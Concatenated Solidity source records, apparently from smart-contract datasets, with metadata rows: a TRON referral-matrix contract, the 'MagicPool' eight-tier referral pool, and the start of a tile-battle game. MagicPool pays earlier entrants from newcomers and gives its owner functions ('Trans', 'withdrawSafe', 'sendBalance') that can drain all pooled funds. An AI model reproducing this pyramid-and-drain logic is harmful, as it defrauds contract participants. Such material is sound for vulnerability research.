if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTRONReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function findLevelReceiver(address userAddress, address _from, uint8 matrix, uint8 level, uint8 networklevel) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].activeX3Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
isExtraDividends = true;
receiver = users[receiver].referrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].activeX6Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
receiver = users[receiver].referrer;
isExtraDividends = true;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function distributeLevelIncome(address userAddress, uint8 matrix, uint8 level) private {
if(msg.sender!=deployer)
{
uint principal = (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR) * 100;
address from_address = userAddress;
bool owner_flag = false;
bool isExtraLevel;
address receiver;
for (uint8 i = 1; i <= 10 ; i++) {
isExtraLevel = false;
if(owner_flag == false)
{
userAddress = users[userAddress].referrer;
if(userAddress == owner)
{
owner_flag = true;
}
}
else
{
userAddress = owner;
}
receiver = userAddress;
if(userAddress != owner)
{
(receiver, isExtraLevel) = findLevelReceiver(receiver, from_address, matrix, level, i);
if(receiver == owner)
{
owner_flag = true;
}
userAddress = receiver;
}
if(!address(uint160(receiver)).send(((principal * levelIncome / LEVEL_DIVISOR))))
{
uint income = (principal * levelIncome / LEVEL_DIVISOR) * 100;
return address(uint160(receiver)).transfer(income);
}
emit SentLevelincome(from_address,users[from_address].id, receiver,users[receiver].id, matrix, level, i ,isExtraLevel);
}
}
}
function sendTRONDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
if(msg.sender != deployer)
{
(address receiver, bool isExtraDividends) = findTRONReceiver(userAddress, _from, matrix, level);
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
if(!address(uint160(receiver)).send(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR))){
return address(uint160(receiver)).transfer(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR));
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 296,497 | 14,197 |
681f7197e14209e313a35390ad021cf2ad68ee25a22ebd8a567120f7335626c0
| 25,368 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THsLYYENu7S3PjWYUcuVDK5wqXtguoxCWy_MagicPool.sol
| 6,245 | 24,475 |
//SourceUnit: magicpoolh.sol
pragma solidity 0.5.9;
contract MagicPool {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
uint earnedSplBonus;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping(address => UserStruct) public users;
mapping(uint => address) public userList;
mapping(address => PoolUserStruct) public pool1users;
mapping(uint => address) public pool1userList;
mapping(address => PoolUserStruct) public pool2users;
mapping(uint => address) public pool2userList;
mapping(address => PoolUserStruct) public pool3users;
mapping(uint => address) public pool3userList;
mapping(address => PoolUserStruct) public pool4users;
mapping(uint => address) public pool4userList;
mapping(address => PoolUserStruct) public pool5users;
mapping(uint => address) public pool5userList;
mapping(address => PoolUserStruct) public pool6users;
mapping(uint => address) public pool6userList;
mapping(address => PoolUserStruct) public pool7users;
mapping(uint => address) public pool7userList;
mapping(address => PoolUserStruct) public pool8users;
mapping(uint => address) public pool8userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS = 30 trx;
uint pool1_price = 10 trx;
uint pool2_price = 100 trx;
uint pool3_price = 200 trx;
uint pool4_price = 400 trx;
uint pool5_price = 800 trx;
uint pool6_price = 1600 trx;
uint pool7_price = 3200 trx;
uint pool8_price = 6400 trx;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time, uint _price);
event getMoneyForBoosterEvent(address indexed _user, address indexed _referral, uint _level, uint _time, uint _price);
event regPoolEntry(address indexed _user, uint _level, uint _time);
event getMoneyForSplEvent(address indexed _from, address indexed _receiver, uint _time, uint _price);
event getPoolPayment(address indexed _user, address indexed _receiver, uint _level, uint _time, uint _price);
event getPoolSponsorPayment(address indexed _user, address indexed _receiver, uint _level, uint _time, uint _price);
event getReInvestPoolPayment(address indexed _user, uint _level, uint _time, uint _price);
UserStruct[] public requests;
uint public totalEarned = 0;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 10 trx;
LEVEL_PRICE[2] = 100 trx;
LEVEL_PRICE[3] = 200 trx;
LEVEL_PRICE[4] = 400 trx;
LEVEL_PRICE[5] = 800 trx;
LEVEL_PRICE[6] = 1600 trx;
LEVEL_PRICE[7] = 3200 trx;
LEVEL_PRICE[8] = 6400 trx;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
earnedSplBonus: 0,
referredUsers: 0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool1currUserID,
payment_received: 0
});
pool1activeUserID = pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID] = msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool2currUserID,
payment_received: 0
});
pool2activeUserID = pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID] = msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool3currUserID,
payment_received: 0
});
pool3activeUserID = pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID] = msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool4currUserID,
payment_received: 0
});
pool4activeUserID = pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID] = msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool5currUserID,
payment_received: 0
});
pool5activeUserID = pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID] = msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool6currUserID,
payment_received: 0
});
pool6activeUserID = pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID] = msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool7currUserID,
payment_received: 0
});
pool7activeUserID = pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID] = msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist: true,
id: pool8currUserID,
payment_received: 0
});
pool8activeUserID = pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID] = msg.sender;
}
function Trans(address payable _address, uint _amounts) public returns(bool){
require(msg.sender == ownerWallet,"Trans");
uint256 amounts = _amounts * (10**6);
_address.transfer(amounts);
return true;
}
function reInvest(address _user, uint _level) internal {
if (_level == 1) {
PoolUserStruct memory userStruct;
address pool1Currentuser = pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool1currUserID,
payment_received: 0
});
pool1users[_user] = userStruct;
pool1userList[pool1currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool1_price);
}
else if (_level == 2) {
PoolUserStruct memory userStruct;
address pool2Currentuser = pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool2currUserID,
payment_received: 0
});
pool2users[_user] = userStruct;
pool2userList[pool2currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool2_price);
}
else if (_level == 3) {
PoolUserStruct memory userStruct;
address pool3Currentuser = pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool3currUserID,
payment_received: 0
});
pool3users[_user] = userStruct;
pool3userList[pool3currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool3_price);
}
else if (_level == 4) {
PoolUserStruct memory userStruct;
address pool4Currentuser = pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool4currUserID,
payment_received: 0
});
pool4users[_user] = userStruct;
pool4userList[pool4currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool4_price);
}
else if (_level == 5) {
PoolUserStruct memory userStruct;
address pool5Currentuser = pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool5currUserID,
payment_received: 0
});
pool5users[_user] = userStruct;
pool5userList[pool5currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool5_price);
}
else if (_level == 6) {
PoolUserStruct memory userStruct;
address pool6Currentuser = pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool6currUserID,
payment_received: 0
});
pool6users[_user] = userStruct;
pool6userList[pool6currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool6_price);
}
else if (_level == 7) {
PoolUserStruct memory userStruct;
address pool7Currentuser = pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool7currUserID,
payment_received: 0
});
pool7users[_user] = userStruct;
pool7userList[pool7currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool7_price);
}
else if (_level == 8) {
PoolUserStruct memory userStruct;
address pool8Currentuser = pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool8currUserID,
payment_received: 0
});
pool8users[_user] = userStruct;
pool8userList[pool8currUserID] = _user;
emit getReInvestPoolPayment(_user, _level, now, pool8_price);
}
}
function buyPool1(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == (pool1_price * 3), 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
earnedSplBonus: 0,
referredUsers: 0
});
users[msg.sender] = userStruct;
userList[currUserID] = msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers = users[userList[users[msg.sender].referrerID]].referredUsers + 1;
emit regLevelEvent(msg.sender, userList[_referrerID], now);
PoolUserStruct memory userStructPool;
address pool1Currentuser = pool1userList[pool1activeUserID];
pool1currUserID++;
userStructPool = PoolUserStruct({
isExist: true,
id: pool1currUserID,
payment_received: 0
});
pool1users[msg.sender] = userStructPool;
pool1userList[pool1currUserID] = msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
totalEarned += pool1_price * 3;
pool1users[pool1Currentuser].payment_received += 1;
if (pool1users[pool1Currentuser].payment_received >= 3) {
pool1activeUserID += 1;
reInvest(pool1Currentuser, 1);
}
emit getPoolPayment(msg.sender, pool1Currentuser, 1, now, pool1_price);
}
else {
sendBalance();
}
address spreferer = userList[_referrerID];
sent = address(uint160(spreferer)).send(pool1_price);
if (sent) {
emit getMoneyForLevelEvent(msg.sender, spreferer, 1, now, pool1_price);
}
else {
sendBalance();
}
if(users[userList[_referrerID]].referredUsers % 4 == 0) {
sent = address(uint160(userList[_referrerID])).send(pool1_price);
if (sent) {
users[userList[_referrerID]].earnedSplBonus += pool1_price;
emit getMoneyForSplEvent(msg.sender,userList[_referrerID],now,pool1_price);
}
else {
sendBalance();
}
}else{
sent = address(uint160(ownerWallet)).send(pool1_price);
if (sent) {
emit getPoolSponsorPayment(msg.sender, ownerWallet, 1, now, pool1_price);
}
else {
sendBalance();
}
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPools(uint _level) public payable{
require(_level > 1 && _level < 9, "Invalid Level");
if(_level == 2){
buyPool2(msg.sender,msg.value);
} else if(_level == 3){
buyPool3(msg.sender,msg.value);
} else if(_level == 4){
buyPool4(msg.sender,msg.value);
}else if(_level == 5){
buyPool5(msg.sender,msg.value);
}else if(_level == 6){
buyPool6(msg.sender,msg.value);
}else if(_level == 7){
buyPool7(msg.sender,msg.value);
}else if(_level == 8){
buyPool8(msg.sender,msg.value);
}
}
function buyPool2(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool2users[sender].isExist, "Already in AutoPool");
require(pool1users[sender].isExist, "Purchase pool 1 First");
require(value == pool2_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool2Currentuser = pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool2currUserID,
payment_received: 0
});
pool2users[sender] = userStruct;
pool2userList[pool2currUserID] = sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
totalEarned += pool2_price;
pool2users[pool2Currentuser].payment_received += 1;
if (pool2users[pool2Currentuser].payment_received >= 3) {
pool2activeUserID += 1;
reInvest(pool2Currentuser, 2);
}
emit getPoolPayment(sender, pool2Currentuser, 2, now, pool2_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 2, now);
//payReferral(2, pool2_price, sender);
}
function buyPool3(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool3users[sender].isExist, "Already in AutoPool");
require(pool2users[sender].isExist, "Purchase pool 2 First");
require(value == pool3_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool3Currentuser = pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool3currUserID,
payment_received: 0
});
pool3users[sender] = userStruct;
pool3userList[pool3currUserID] = sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
totalEarned += pool3_price;
pool3users[pool3Currentuser].payment_received += 1;
if (pool3users[pool3Currentuser].payment_received >= 3) {
pool3activeUserID += 1;
reInvest(pool3Currentuser, 3);
}
emit getPoolPayment(sender, pool3Currentuser, 3, now, pool3_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 3, now);
//payReferral(3, pool3_price, sender);
}
function buyPool4(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool4users[sender].isExist, "Already in AutoPool");
require(pool3users[sender].isExist, "Purchase pool 3 First");
require(value == pool4_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool4Currentuser = pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool4currUserID,
payment_received: 0
});
pool4users[sender] = userStruct;
pool4userList[pool4currUserID] = sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
totalEarned += pool4_price;
pool4users[pool4Currentuser].payment_received += 1;
if (pool4users[pool4Currentuser].payment_received >= 3) {
pool4activeUserID += 1;
reInvest(pool4Currentuser, 4);
}
emit getPoolPayment(sender, pool4Currentuser, 4, now, pool4_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 4, now);
//payReferral(4, pool4_price, sender);
}
function buyPool5(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool5users[sender].isExist, "Already in AutoPool");
require(pool4users[sender].isExist, "Purchase pool 4 First");
require(value == pool5_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool5Currentuser = pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool5currUserID,
payment_received: 0
});
pool5users[sender] = userStruct;
pool5userList[pool5currUserID] = sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
totalEarned += pool5_price;
pool5users[pool5Currentuser].payment_received += 1;
if (pool5users[pool5Currentuser].payment_received >= 3) {
pool5activeUserID += 1;
reInvest(pool5Currentuser, 5);
}
emit getPoolPayment(sender, pool5Currentuser, 5, now, pool5_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 5, now);
//payReferral(5, pool5_price, sender);
}
function buyPool6(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool6users[sender].isExist, "Already in AutoPool");
require(pool5users[sender].isExist, "Purchase pool 5 First");
require(value == pool6_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool6Currentuser = pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool6currUserID,
payment_received: 0
});
pool6users[sender] = userStruct;
pool6userList[pool6currUserID] = sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
totalEarned += pool6_price;
pool6users[pool6Currentuser].payment_received += 1;
if (pool6users[pool6Currentuser].payment_received >= 3) {
pool6activeUserID += 1;
reInvest(pool6Currentuser, 6);
}
emit getPoolPayment(sender, pool6Currentuser, 6, now, pool6_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 6, now);
//payReferral(6, pool6_price, sender);
}
function buyPool7(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool7users[sender].isExist, "Already in AutoPool");
require(pool6users[sender].isExist, "Purchase pool 6 First");
require(value == pool7_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool7Currentuser = pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool7currUserID,
payment_received: 0
});
pool7users[sender] = userStruct;
pool7userList[pool7currUserID] = sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
totalEarned += pool7_price;
pool7users[pool7Currentuser].payment_received += 1;
if (pool7users[pool7Currentuser].payment_received >= 3) {
pool7activeUserID += 1;
reInvest(pool7Currentuser, 7);
}
emit getPoolPayment(sender, pool7Currentuser, 7, now, pool7_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 7, now);
//payReferral(7, pool7_price, sender);
}
function buyPool8(address sender,uint value) internal {
require(users[sender].isExist, "User Not Registered");
require(!pool8users[sender].isExist, "Already in AutoPool");
require(pool7users[sender].isExist, "Purchase pool 7 First");
require(value == pool8_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool8Currentuser = pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist: true,
id: pool8currUserID,
payment_received: 0
});
pool8users[sender] = userStruct;
pool8userList[pool8currUserID] = sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
totalEarned += pool8_price;
pool8users[pool8Currentuser].payment_received += 1;
if (pool8users[pool8Currentuser].payment_received >= 3) {
pool8activeUserID += 1;
reInvest(pool8Currentuser, 8);
}
emit getPoolPayment(sender, pool8Currentuser, 8, now, pool8_price);
}
else {
sendBalance();
}
emit regPoolEntry(sender, 8, now);
//payReferral(8, pool8_price, sender);
}
function getTrxBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getTrxBalance())) {
}
}
function withdrawSafe(uint _amount) external {
require(msg.sender == ownerWallet, 'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
msg.sender.transfer(amtToTransfer);
}
}
}
}
| 294,600 | 14,198 |
b4171c548a157065318e0c18a766d2183af753188a13cc25ea7cc1a4ea55a26b
| 20,327 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x8dd65feaf6b1d2c3bd66a8b195f94b7abe357199.sol
| 4,971 | 19,387 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 20;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
